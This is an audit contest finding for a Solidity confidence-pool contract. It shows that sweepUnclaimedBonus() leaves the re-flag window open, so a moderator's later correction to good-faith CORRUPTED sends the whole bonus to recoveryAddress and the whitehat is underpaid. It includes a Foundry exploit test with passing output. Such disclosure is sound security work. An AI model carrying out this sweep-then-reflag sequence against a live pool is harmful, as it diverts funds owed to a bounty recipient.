FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

sweepUnclaimedBonus skips the claimsStarted finality latch, letting a post-sweep re-flag to good-faith CORRUPTED misdirect the entire bonus to recoveryAddress instead of the whitehat

Author Revealed upon completion

Description

  • Normally, once value leaves the pool after resolution, the claimsStarted latch is set so the moderator can no longer re-flag the outcome — this ties resolution finality to value movement, and every claim/sweep path honors it. For a good-faith CORRUPTED outcome, the whitehat attacker is entitled to the whole pool (stake + bonus).

  • However, sweepUnclaimedBonus() deliberately does not set claimsStarted. When riskWindowStart == 0 it treats the full bonus as unreserved and sends it to recoveryAddress, yet leaves the re-flag window open. So the moderator can flag SURVIVED → anyone sweeps the entire bonus to recovery → moderator corrects to good-faith CORRUPTED, which recomputes bountyEntitlement from the now-drained totalBonus. The whitehat is paid stake only, and the bonus is permanently misdirected to recoveryAddress.

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) { // riskWindowStart == 0 => bonus NOT reserved
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
@> uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0; // == full bonus
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus; // totalBonus -> 0
}
@> // Intentionally does NOT set claimsStarted <-- ROOT CAUSE: re-flag window stays open
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}

Risk

Likelihood:

  • Occurs whenever the registry reaches CORRUPTED with riskWindowStart == 0 (no active-risk state was ever observed on-chain), which is the ordinary "no observable risk" case.

  • Occurs whenever the moderator flags an interim SURVIVED and later corrects it to good-faith CORRUPTED, while anyone calls the permissionless sweepUnclaimedBonus() in between (e.g. the sponsor who controls recoveryAddress).

Impact:

  • The entire bonus pool is permanently misdirected to recoveryAddress instead of the whitehat attacker who is owed the whole pool.

  • The whitehat is underpaid — receiving stake only — and no path returns the swept bonus, defeating the design's guaranteed pre-claim re-flag correction.

Proof of Concept

Add the following test to test/unit/BonusSweepReflagMisdirection.t.sol and run
forge test --match-test test_EXPLOIT_sweepBeforeReflag_strandsBonus -vv:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract BonusSweepReflagMisdirection is BaseConfidencePoolTest {
uint256 constant STAKE = 100 * ONE;
uint256 constant BONUS = 40 * ONE;
function test_EXPLOIT_sweepBeforeReflag_strandsBonus() external {
_stake(alice, STAKE);
_contributeBonus(dave, BONUS);
// Registry jumps straight to CORRUPTED; nobody observed an active-risk
// state, so riskWindowStart stays 0.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// 1) Moderator's interim judgement: breach looks out-of-scope -> SURVIVED.
// Valid on a CORRUPTED registry; does NOT set claimsStarted.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
// 2) Anyone (here the recovery beneficiary) sweeps the full bonus. Permissionless.
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), BONUS, "full bonus swept to recovery");
assertEq(pool.totalBonus(), 0, "totalBonus drained");
assertFalse(pool.claimsStarted(), "sweep did NOT latch -> re-flag still open");
// 3) Moderator corrects to good-faith CORRUPTED, naming the whitehat.
// Still allowed (claimsStarted == false); entitlement recomputes from drained totalBonus.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), STAKE, "bounty = stake ONLY (bonus already gone)");
// 4) Whitehat claims -> receives stake only; bonus stranded at recovery forever.
uint256 before = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
uint256 whitehatGot = token.balanceOf(attacker) - before;
emit log_named_uint("whitehat received", whitehatGot);
emit log_named_uint("whitehat SHOULD receive (whole pool)", STAKE + BONUS);
emit log_named_uint("bonus misdirected to recovery", token.balanceOf(recovery));
assertEq(whitehatGot, STAKE, "whitehat underpaid: got stake only");
assertEq(token.balanceOf(recovery), BONUS, "bonus permanently misdirected to recovery");
assertEq(token.balanceOf(address(pool)), 0, "pool empty; no path returns the bonus");
}
}

Output:

[PASS] test_EXPLOIT_sweepBeforeReflag_strandsBonus()
whitehat received: 100000000000000000000
whitehat SHOULD receive (whole pool): 140000000000000000000
bonus misdirected to recovery: 40000000000000000000

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!